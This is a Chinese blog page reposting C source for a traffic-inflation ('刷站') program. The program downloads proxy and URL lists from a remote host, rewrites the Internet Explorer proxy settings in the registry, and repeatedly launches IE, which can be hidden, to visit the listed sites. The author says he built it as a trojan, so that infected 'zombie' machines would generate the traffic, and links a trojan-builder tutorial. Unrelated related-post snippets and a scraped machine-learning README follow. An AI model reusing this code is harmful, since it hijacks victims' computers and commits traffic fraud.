下载指定代理文件调用IE使用代理访问指定网站的代码

【burpSuite】浏览器设置代理后无法访问https 开启burpSuite,浏览器设置代理之后,如果访问使用https的网站时,会被卡住,告诉你“您的访问不安全”之类的。简单地说,这是证书与证书信任的问题,解决方法是下载burpSuite官方(也就是portSwigger)的证书,并信任它。官方指导:https://support.portswigger.net/customer/portal/articles/1783075-installing 阅读详情
前段时间haicao写了一个刷站程序,原理是通过更新IE代理,然后调用IE去访问指定的网站,从而达到刷站的目的,后来haicao说这样做效果不理想,结果我也没有能继续开发下去的意愿,现在发布出来。
介绍一下:
      这个程序只完成了一半,按我设计的功能还没有达到,但是没有希望的东西,也就没有开发的必要了。
结构:
   1----程序启动时自动下载更新代理文件(完成)
   2----设置IE代理,调用IE(可隐藏界面)访问指定网站(完成)
   3-----自启动(没有写)
   4------穿透放火墙(没有写)
   5-------隐藏程序进程(没有写)

发布出来主要还是给菜鸟问学习的,高手们就不要看了,要么我就觉得我自己的在丢人显眼了!

    haicao的程序主要思想是写出来自己运行,而我当时第一个想法就是做成木马方式,然后肉鸡或者是中木马的电脑自动帮我们刷站,所以我写的基于木马方式。

里面用到李马介绍的:浅析木马服务端的生成技术
            [url]http://sunlion.3322.org/show.asp?sunid=206[/url]
            如果没有写过木马配置器的同学,你可以学习学习!也可以把我的程序当着是一个例子。希望对给菜鸟们带来点什么。
   
copy.rar--------------------这个是摸板源代码
copy.bin——————————这个是摸板release后的exe文件,我修改为bin
Auto.cpp--------------------------这个是GUI木马培植器的主程序。
都在压缩包里面了。
    前两天想找以前写这个程序的时候搜索的资料,结果竟然被我删除了,郁闷,这些东西都是叫无敌在给我传回来的,随便也就发出来了。图片如下:
[img]http://sunlion.3322.org/blogpic/2006427025068801.jpg[/img]
GUI主要是通过从载摸板资源,修改指定地址数据,再从新生成EXE,文件,所以这个程序的主要功能代码还在下面这个CMD版中:
#include  <afx.h>
#include <stdio.h>
#include <Wininet.h>
#pragma comment(lib,"Wininet.lib")
//#include"HideProcess.h"
#define LEN sizeof(struct DataIpPort)

struct DataIpPort                            //定义一个链表结构来保存读入的代理地址
{
   char           dataLine[50];
   struct DataIpPort      *next;
};


struct DataIpPort *ReadData( char *fileName )  //这个子函数负责读入指定数据放到链表中
{
  
   struct DataIpPort      *l;
   struct DataIpPort      *p;
   FILE          *fp = NULL;
  

  if( (l = (struct DataIpPort *)malloc(LEN)) == NULL )
   {
      printf( "create mem error.../n" );
      exit(-1);
   }
   l->next =NULL;
   if( (fp = fopen( fileName , "r" )) == NULL )
   {
      printf( "open the %s error.../n" , fileName );
      exit(-1);
   }
   
  while( !feof(fp) )
  {   //主要是头部插入,其实尾部最好,不用考虑颠倒问题
     p = (struct DataIpPort *)malloc(LEN);
     fscanf( fp , "%s" , p->dataLine );
     p->next =l->next ;
     l->next =p;

  }
   return (p);
}  

//负责下载代理文件,这里直接copy了网上的代码,再次感谢作者
HRESULT UrlDownloadData(LPCTSTR szUrl, BYTE* &lpszData, DWORD &dwSize)
{
   URL_COMPONENTS urlComponents;
   memset(&urlComponents, 0, sizeof(urlComponents));
   urlComponents.dwStructSize = sizeof(urlComponents);
   urlComponents.dwHostNameLength = 1;
   urlComponents.dwUrlPathLength = 1;
   BOOL bSuccess = InternetCrackUrl((LPCSTR)szUrl, 0, 0, &urlComponents);
   if(!bSuccess)
   {
      return E_FAIL;
   }
   CHAR szHostName[256];
   strncpy(szHostName, urlComponents.lpszHostName, urlComponents.dwHostNameLength);
   szHostName[urlComponents.dwHostNameLength] = 0;
   CHAR szUrlPath[1024];
   strncpy(szUrlPath, urlComponents.lpszUrlPath, urlComponents.dwUrlPathLength);
   szUrlPath[urlComponents.dwUrlPathLength] = 0;
   USHORT nPort = urlComponents.nPort;

   HINTERNET hSession = InternetOpen("MSIE 2.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
   if(hSession != NULL)
   {
      HINTERNET hConnection = InternetConnect(hSession, _T(szHostName), nPort, NULL, NULL, urlComponents.nScheme, 0, 0);
      if(hConnection != NULL)
      {
        static LPCTSTR* lpszAcceptTypes = NULL;
        static LPCTSTR lpszMethod = "GET";
        HINTERNET hRequest = HttpOpenRequest(hConnection, lpszMethod, _T(szUrlPath), HTTP_VERSION, NULL, lpszAcceptTypes,
           INTERNET_FLAG_DONT_CACHE, NULL);
        if(hRequest != NULL)
        {
           CHAR* szHeader = NULL;
           CHAR* szPost = NULL;
           BOOL bSend = ::HttpSendRequest(hRequest, szHeader,0, szPost,0);
           if(!bSend)
           {
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return E_FAIL;
           }
           
           CHAR bufStatusCode[80];
           DWORD dwStatusSize = sizeof(bufStatusCode);
           if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_STATUS_CODE,
              &bufStatusCode, &dwStatusSize, NULL)) { //获取返回状态码
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return E_FAIL;
           }
           UINT nStatusCode = (UINT)atol(bufStatusCode);
           //判断状态码是不是 200
           if(HTTP_STATUS_OK != nStatusCode)
           {
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return FALSE;
           }
           // Get the length of the file.
           char bufContentLength[32];
           DWORD dwLengthSize = sizeof(bufContentLength);
           if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
              bufContentLength, &dwLengthSize, NULL))
           { // 取文件长度
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return E_FAIL;
           }
           DWORD dwFileSize = (DWORD)atol(bufContentLength);
           
           BYTE*    lpszBuff = NULL;
           DWORD    dwBuff = 1024;
           DWORD    dwRead;
           BOOL    bDownload = TRUE;

           lpszData = new BYTE[dwFileSize];
           dwSize = 0;
           do {
              if(!InternetQueryDataAvailable(hRequest,&dwBuff,0,0))
              {
                if(lpszBuff != NULL)
                {
                   delete[] lpszBuff;
                }

                InternetCloseHandle(hRequest);
                InternetCloseHandle(hConnection);
                InternetCloseHandle(hSession);

                delete[] lpszData;
                lpszData = NULL;
                dwSize = 0;

                return E_FAIL;
              } else
              {
                lpszBuff = new BYTE[dwBuff];
                if(!InternetReadFile(hRequest,(LPVOID)lpszBuff,dwBuff,&dwRead))
                {
                   delete[] lpszBuff;
                   InternetCloseHandle(hRequest);
                   InternetCloseHandle(hConnection);
                   InternetCloseHandle(hSession);

                   delete[] lpszData;
                   lpszData = NULL;
                   dwSize = 0;

                   return E_FAIL;
                } else
                {
                   if(dwRead == 0)
                   {
                      delete[] lpszBuff;
                      break;
                   }
                   DWORD dwCurrent = dwSize;
                   dwSize += dwRead;
                   if(dwSize <= dwFileSize)
                   {
                      memcpy(lpszData + dwCurrent, lpszBuff, dwRead);
                      delete[] lpszBuff;
                   } else
                   {
                      delete[] lpszBuff;
                      InternetCloseHandle(hRequest);
                      InternetCloseHandle(hConnection);
                      InternetCloseHandle(hSession);

                      delete[] lpszData;
                      lpszData = NULL;
                      dwSize = 0;

                      return E_FAIL;
                   }
                }
              }
           } while(bDownload);
           InternetCloseHandle(hRequest);
           InternetCloseHandle(hConnection);
           InternetCloseHandle(hSession);
           return S_OK;
        } else
          {
           InternetCloseHandle(hConnection);
           InternetCloseHandle(hSession);
        }
      } else
       {
        InternetCloseHandle(hSession);
      }
   }
   return E_FAIL;
}


void usage(char *p)         
{
   printf(
   "/t Usage:/t/n"
   "/t %s NetFileProxy FileProxy NetFileURL FileURL T1 T2 T3/t/n"
   "/t NetFileProxy------代理列表文件网络地址.例如:  [url]http://sunlion.3322.org/SunLion.EST[/url]/t/n"
   "/t FileProxy------代理列表文件.例如:  PROXY.EST/t/n"
   "/t NetFileURL------要访问的地址文件网络地址.例如:  [url]http://sunlion.3322.org/URL.EST[/url]/t/n"
   "/t FileURL------要访问的地址.例如:  URL.EST/t/n"
   "/t T1------间隔时间(s).默认:18s/t/n"
   "/t T2------循环次数.默认:24/t/n"
   "/t T3------访问延时(ms)m默认:10000ms/t/n"
   "/t 两种格式输入:1.只输入IE所在的盘符、代理和域名文件  2.把所有参数都输入/t/n"
   "/t %s c: sunlion.est url.est/t/n"
   "/t %s c: proxy.est url.est 15 24 10000/t/n"
        ,p,p,p);   
}


int main(int argc,char *argv[])
{


char buf[100];
int  i, T1=18,T2=24,T3=10000;
struct DataIpPort *IpPort,*IpPortCONST;
struct DataIpPort *URL,*URLCONST;
LPBYTE pData = NULL;
DWORD dwSize = 0;
char szSystemDir[MAX_PATH];
   

   

printf(  "    *************************************************************/r/n"
       "    *        CMD版刷站程序 V1.0  AutoAlexa.exe          */r/n"
       "    *        Welcome To EvilOctalSecurityTeam           */r/n"
       "    *           [url]http://www.eviloctal.com[/url]              */r/n"
       "    *design:SunLion[EST]           [url]http://sunlion.126.com[/url]  */r/n"  
       "    *************************************************************/r/n"
        );

HKEY hKey;
LPCTSTR key="SOFTWARE//Microsoft//Windows//CurrentVersion//Internet Settings//";
LPCTSTR value="/x00/x00/x00/x01";
GetSystemDirectory(szSystemDir,MAX_PATH);   
szSystemDir[2] = &#39;/0&#39; ;
HRESULT hRet = UrlDownloadData(argv[1], pData, dwSize);
if(SUCCEEDED(hRet) && dwSize > 1)
{//读取文件
      OFSTRUCT ofs;
      HANDLE hFile = (HANDLE)OpenFile(argv[2], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
      if(hFile)
      {
        DWORD dwWritten;
        WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
        CloseHandle(hFile);
        delete[] pData;
        //return TRUE;
      }
   }
else
{
printf("UrlDownloadData1 false!");
  delete[] pData;
}   
//printf("qqqqqqqqqqqqqqqqqqqqqq!");

   //return FALSE;
pData = NULL;
  hRet = UrlDownloadData(argv[3], pData, dwSize);
  if(SUCCEEDED(hRet) && dwSize > 1)
  {//读取文件
      OFSTRUCT ofs;
      HANDLE hFile = (HANDLE)OpenFile(argv[4], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
      if(hFile)
      {
        DWORD dwWritten;
        WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
        CloseHandle(hFile);
        delete[] pData;
        //return TRUE;
      }
   }
  else
  {
  printf("UrlDownloadData2 false!");
   delete[] pData;
  }
   //return FALSE;
//HideProcess();
//下面是通过修改注册表实现 IE代理,两个地方自己看
if((::RegOpenKeyEx(HKEY_CURRENT_USER,  
key, 0, KEY_WRITE,&hKey))!=ERROR_SUCCESS)
{
printf("错误: 无法打开有关的hKey!");
return FALSE;
}

if((::RegSetValueEx(hKey, "ProxyEnable", NULL,
REG_DWORD,(LPBYTE)value,4))!=ERROR_SUCCESS)
{
printf("错误: 无法修改有关注册表信息Enable!");
return FALSE;
}

if((argc!=5)&&(argc!=8))
{
usage(argv[0]);
return FALSE;
}

  

    IpPort =IpPortCONST= ReadData(argv[2]);
    if(IpPort==NULL)
       printf("get file1 false!");
    URL =URLCONST= ReadData(argv[4]);
    if(URL==NULL)
       printf("get file1 false!");
    if (argc==8) //桂林老兵的技巧
    {
          T1=atoi(argv[5]);
           T2=atoi(argv[6]);
          T3=atoi(argv[7]);
    }
  for(i=0;i<T2;i++)
    {
    IpPort=IpPortCONST;
    while(IpPort->dataLine !=NULL)
    {
    printf("/n%s",IpPort->dataLine);
    if((::RegSetValueEx(hKey, "ProxyServer", NULL,
       REG_SZ,(LPBYTE)IpPort->dataLine,sizeof(IpPort->dataLine)))!=ERROR_SUCCESS)
    {
      printf("错误: 无法修改有关注册表信息Server!");
      return FALSE;
    }
     URL=URLCONST;
    if(URL->dataLine==NULL)
       printf("/n无法读取URL列表文件!");
    while(URL->dataLine !=NULL)
    {
   
       STARTUPINFO info={3};//这里要了我的命
      PROCESS_INFORMATION pinfo;
      info.cb       = sizeof(STARTUPINFO);

      //info.dwFlags    = STARTF_USESHOWWINDOW;
     // info.wShowWindow = SW_HIDE;
      info.dwFlags    = STARTF_USESTDHANDLES;
      info.wShowWindow = SW_SHOWDEFAULT;
      
     
      sprintf(buf,"%s//Program Files//Internet Explorer//IEXPLORE.EXE %s",szSystemDir,URL->dataLine);
     
     printf("/n%s/n",buf);
     if(!CreateProcess(NULL,buf,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&info,&pinfo))
    {
      printf("错误: 无法创建IE进程!");
      return FALSE;
     }
      
      
     
     URL =URL->next ;
     ZeroMemory(buf,100);
     Sleep(T3);
     TerminateProcess(pinfo.hProcess,0 );
    }
    IpPort =IpPort->next ;
    Sleep(T1*1000);
    }
   }
  



}
 
用Python实现批量下载文件——代理ip排除万难 使用Python编写批量下载代码,可以提高工作效率。本文介绍了如何使用requests库来下载文件,如何设置代理IP来绕过某些网站的下载限制,并且展示了如何处理下载过程中可能会出现的异常。希望这篇文章对你有所帮助! 阅读详情

相关推荐

Windows11使用Edge访问IE页面

更新了Windows11后发现Internet Explorer不见了。实际工作生活中有些地方只能只用IE,怎么办? 1.下载360浏览器,切换内核可以使用。 2.下载插件IE Tab windows11默认使用Microsoft Edge(新版Edge)。安装IE Tab即可。 下载安装 1.进入设置 2.edge可以不用梯子,直接访问扩展商店 3.搜索IE Tab,点击获取即可安装好 4.安装完成右上角显示插件图标 使用 一个网站可能首页都支持其他浏览器,子页面的样式或者是弹窗之类只支持IE.

yuyyuuy的博客 3057

ValueError: File format b‘\x00\x00\x00\x14‘ not understood. Only ‘RIFF‘ and ‘RIFX‘ supported.

ValueError: File format b'\x00\x00\x00\x14' not understood. Only 'RIFF' and 'RIFX' supported.

关于我的学习记录 4570

使用a href 文件下载 IE直接打开 内容乱码

生产环境遇到一个问题,页面中有一个a标签 href为文件的路径,IE浏览器无法下载,内容也为乱码,其他浏览器均正常。 <a href="https://xxx/attached/file/20191112090721_279.docx" target="_blank">奖励活动北京获奖名单</a> 一开始以为是不是使用这种方法 IE都不行,于是创建一个本地web项目,...

itmyhome的专栏 3070

\xac\xed\x00\x05t\x00\x02,在SpringBoot中操作redis时,发现key多了前面的字符串

                   在SpringBoot中操作redis时,发现key多了\xac\xed\x00\x05t\x00\x02前缀 原因: 我们注入的RedisTemplate在对Redis进...

m0_37510446的博客 4153

运维系列&Windows系列【亲测有效】:解决Windows7系统自带的IE浏览器无法访问网站问题

解决Windows7系统自带的IE浏览器无法访问网站问题

weixin_54626591的博客 2402

JAN-MCUBUS-0A01 for AT070TN83 V.1.pdf

8080总线驱动群创AT070TN83V.1,简介、有效

Redis 出现\xAC\xED\x00\x05t\x00 乱码

Redis乱码

lip86的专栏 792

萨姆森SAMSON 3767 型电气定位器安装操作手册(英文版).pdf

萨姆森SAMSON 3767 型电气定位器安装操作手册(英文版)pdf,萨姆森SAMSON 3767 型电气定位器安装操作手册(英文版)

沉迷java_Java8 Stream系列(一)从入坑到沉迷

不想再用for嵌套for操作了,java8 带来了新的API —— Stream,非常强大!Stream中文翻译成流,是一个支持串行和并行操作元素的序列,也是Lambda表达式配合使用的强大工具。源码在java.util.stream中,感兴趣可以阅读阅读。0x00 java8 中的流是什么在编程中,对一串数据进行0个或者多个中间操作后,最后再获得结果。这个操作在没有流的情况下一般会涉及到多次循环...

weixin_31439191的博客 166

驱动ST7565显示汉字以及画点.pdf

最近需要用ST7565来显示汉字以及画点,发现网上关于ST7565驱动显示文字的例子也不少,不过画图方面的例子就很少了

Android Settings 设置Preference置灰显示

使Preference置灰显示,不能点击。先调用Preference的setEnabled(false),再调用setShouldDisableView(true); 如果使置灰项恢复正常可点击,可调用setEnabled(true)。

随风而动 1053

IE只访问特定网站设置步骤

IE只访问特定网站设置步骤要让客户只能访问某些网站,最简单的方法就是使用IE 的分级审查。 进入IE或者傲游,依次点击工具→INTERNET选项→内容→分级审查→设置→常规→创建密码,输入你想要的密码(以后你要登录浏览器必须输入此密码) 但是现在你无论访问什么网页都要输入密码,要想只能访问指定网页可以依次点击工具→INTERNET选项→内容→分级审查→设置→许可站点,然后在允许该站点里面输入网...

hzq0201的博客 2181

【论文翻译】VIT:An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale

VIT摘要介绍相关工作模型VISION TRANSFORMER (VIT)微调和高分辨率实验结论 摘要 虽然Transformer架构在自然语言处理任务中已经成为事实标准,但是它在计算机视觉领域的应用仍然受限。在视觉领域,注意力要么和卷积网络结合使用,要么替换卷积网络中的某些部分,同时保持整体结构不变。本文表明对CNNs的依赖不是必要的,纯转换器(pure transformer)直接应用于图像块(image patches)序列在图像分类任务中能发挥很好的作用。当对大量数据进行预训练并把它转移到多个中型或

栗子菜菜 1848

如何在Chrome、IE里访问国密网站

随着国密网站的增多,很多常用浏览器不支持国密SSL网站访问的问题日益突出,如Chrome 、Edge、IE 等浏览器均不能访问国密SSL网站。而很多政府、银行、科研机构仍然运行着面向IE开发的应用,同时这些应用需要依赖 ActiveX 插件来完成特定的操作。虽然 IE6/7/8 已经有很多年的历史,但难以否认地是,至今 IE6/7/8/9/11依然没有被淘汰,考虑到一些大的机构、公司内还使用着 Windows XP/7 操作系统;对于新的应用往往需要 IE9+ 、Chrome甚至于交叉环境下运行。那么如何在

xiaoleio的专栏 1万+

Ansys Fluent DPM模型实战:旋风分离器颗粒轨迹仿真全流程解析(附案例文件)

本文详细解析了使用Ansys Fluent中的离散相模型进行旋风分离器颗粒轨迹仿真的全流程。从几何简化、网格策略到物理模型界定,重点阐述了DPM模型的关键设置步骤,包括单向耦合假设、颗粒注入与受力配置,并提供了结果分析与优化方法,帮助工程师精准模拟气固分离过程,提升设计效率。

sunny的博客 706

lofar谱 matlab_一种用于分类识别的线谱增强及特征提取方法与流程

本发明属于声信号处理技术领域,具体涉及一种用于分类识别的线谱增强及特征提取方法。背景技术:水下声音目标的被动探测和识别领域中,利用舰船辐射噪声对舰船类型进行识别是十分常见的。舰船辐射噪声通常由机械噪声,螺旋桨噪声和水动力噪声三部分构成,前两种信号是噪声的线谱和连续谱的主要来源。其中线谱由于具有较高的信噪比,并且携带着声源特征信息,而被广泛研究和应用。但是目前的识别方法中,因为连续谱信息缺乏较为明确...

weixin_39517859的博客 5481

关于java模拟ie 访问web网站的解决方法

下面提供一个文件,该文件实现的功能有,java下访问网址,下载下来该页面到指定目录。可以设置代理服务器。package ie;/** * @author webkkk(blog.csdn.net/webkkk) */import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.DataOutputS

技术专栏 3572

「 网络安全常用术语解读 」软件成分分析SCA详解:从发展背景到技术原理再到业界常用检测工具推荐

软件成分分析(Software Composition Analysis,SCA)是一种用于识别和分析软件内部组件及其关系的技术,旨在帮助开发人员更好地了解和管理其软件的构建过程,同时可帮助安全人员揭秘软件内部结构的神秘面纱。SCA技术的发展与软件行业的快速发展密不可分,下面将介绍SCA的发展背景、技术原理以及当前主流SCA工具。

所有成功的背后,都是痛苦的坚持,所有的痛苦,都是傻瓜般的不放弃! 5643

使用Python控制IE访问网站

这里介绍一下怎样利用Python 2.7和Python Win32 Extensions来控制浏览器访问一个网页。 首先需要到Python的官网下载Python 2.7.3 Windows Installer,下载后文件名为python-2.7.3.msi。  接着到Python Win32 Extensions的官网(http://starship.python.net/~skippy/

yzl11的博客 5173

YOLO11涨点优化:SPPF原创自研创新 | SPPF创新结构,重新设计全局平均池化层和全局最大池化层,增强全局视角信息和不同尺度大小的特征

SPPF_improve利用全局平均池化层和全局最大池化层,加入一些全局背景信息和边缘信息,从而获取全局视角信息并减轻不同尺度大小所带来的影响

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 1875

LLM的MCP协议:初识MCP,搭建第一个MCP Server

MCP(Model Context Protocol),是一个开发的协议,标准化了应用程序如何为大模型提供上下文。MCP提供了一个标准的为LLM提供数据、工具的方式,使用MCP会更容易的构建Agent或者是基于LLM的复杂工作流。

Criss@陈磊 2万+

【免费下载】 IE Tab 插件 Chrome 版本下载

IE Tab 插件 Chrome 版本下载 【下载地址】IETab插件Chrome版本下载 IE Tab 是一款专为 Chrome 浏览器设计的插件,它能够在 Chrome 浏览器中嵌入 IE 浏览器的内核。对于经常使用 Chrome 浏览器的用户来说,IE Tab 插件无疑是一个非常实用的工具。当你遇到只能兼容 IE ...

gitblog_09808的博客 3574

在Simulink中构建感应电机的时滞补偿控制模型,并通过仿真验证不同补偿策略的有效性

核心优势Smith预估器可有效补偿已知时滞,提升系统稳定性。动态PID调整适用于时变时滞的初步补偿。扩展方向自适应时滞估计:结合Luenberger观测器实时估计时滞。鲁棒控制:引入H∞控制或滑模控制抑制参数不确定性。网络化时滞补偿:结合知识库[2]的网络延迟模型,实现端到端补偿。

amy_mhd的博客 195

关于Chrome浏览器调用IE浏览器

最近遇到一个问题我们想要谷歌浏览器和IE 浏览器兼容 因为有一些产品只支持IE 而我们使用的是谷歌浏览器,所以出现了这么一个问题 在网上找了几天的内容发现都是谷歌4.5版本以下去下载一个IE Tab插件去解决的 但我们使用的是谷歌75最新版本的,安装不上这个插件, 这篇文章就是解决谷歌高版本怎么去调用IE 首先我们去需要去下载链接: https://pan.baidu.com/s/1HUoafK...

YXWik的博客 1万+

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

上一篇: Local System 权限读取用户IE 代理设置的研究及简单HTTP代理验证
下一篇: Kernel下检测还原正确的SSDT
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址